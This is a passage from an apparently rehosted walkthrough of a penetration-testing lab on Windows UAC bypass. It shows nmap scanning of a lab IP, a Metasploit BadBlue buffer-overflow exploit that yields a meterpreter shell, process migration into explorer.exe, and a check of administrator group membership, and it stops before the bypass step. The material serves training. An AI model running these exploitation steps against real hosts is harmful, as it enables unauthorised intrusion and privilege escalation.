walkthrough-2136.pdf

(1791 KB) Pobierz

Name

URL

Type

UAC Bypass: IFileOperation FileZilla

https://attackdefense.com/challengedetails?cid=2136

Advance Privilege Escalation: Windows: UAC Bypass

Important Note:

This document illustrates all the important steps required to complete this lab.

This is by no means a comprehensive step-by-step solution for this exercise. This is only

provided as a reference to various commands needed to complete this exercise and for your

further research on this topic. Also, note that the IP addresses and domain names might be

different in your lab.

Step 1:

Checking the target IP address.

Note:

The target IP address is stored in the “target” file.

Command:

cat /root/Desktop/target

Step 2:

Run a Nmap scan against the target IP.

Command:

nmap -Pn 10.0.0.201

Step 3:

We have discovered that multiple ports are open. We will run Nmap again to determine

version information on port 80.

Command:

nmap -sV -p 80 10.0.0.201

Step 4:

We will search for the exploit module for badblue 2.7 using searchsploit.

Command:

searchsploit badblue 2.7

Step 5:

There is a Metasploit module for badblue server. We will use PassThu remote buffer

overflow Metasploit module to exploit the target.

Commands:

msfconsole

use exploit/windows/http/badblue_passthru

set RHOSTS 10.0.0.201

exploit

We have successfully exploited the target vulnerable application (badblue) and received a

meterpreter shell.

Step 6:

Checking the current user.

Command:

getuid

Step 7:

We can observe that we are running as a student user. Migrate the process in

explorer.exe. First, search for the PID of explorer.exe (running as the student user) and use the

migrate command to migrate the current process to that explorer process.

Commands:

ps -S explorer.exe

migrate 2764

We have successfully migrated into the explorer.exe process.

Step 8:

Get a windows shell and check if the student user is a member of the Administrators

group.

Commands:

shell

net localgroup administrators

Plik z chomika:

kufel_007

walkthrough-2136.pdf

Plik z chomika:

Inne pliki z tego folderu:

Inne foldery tego chomika: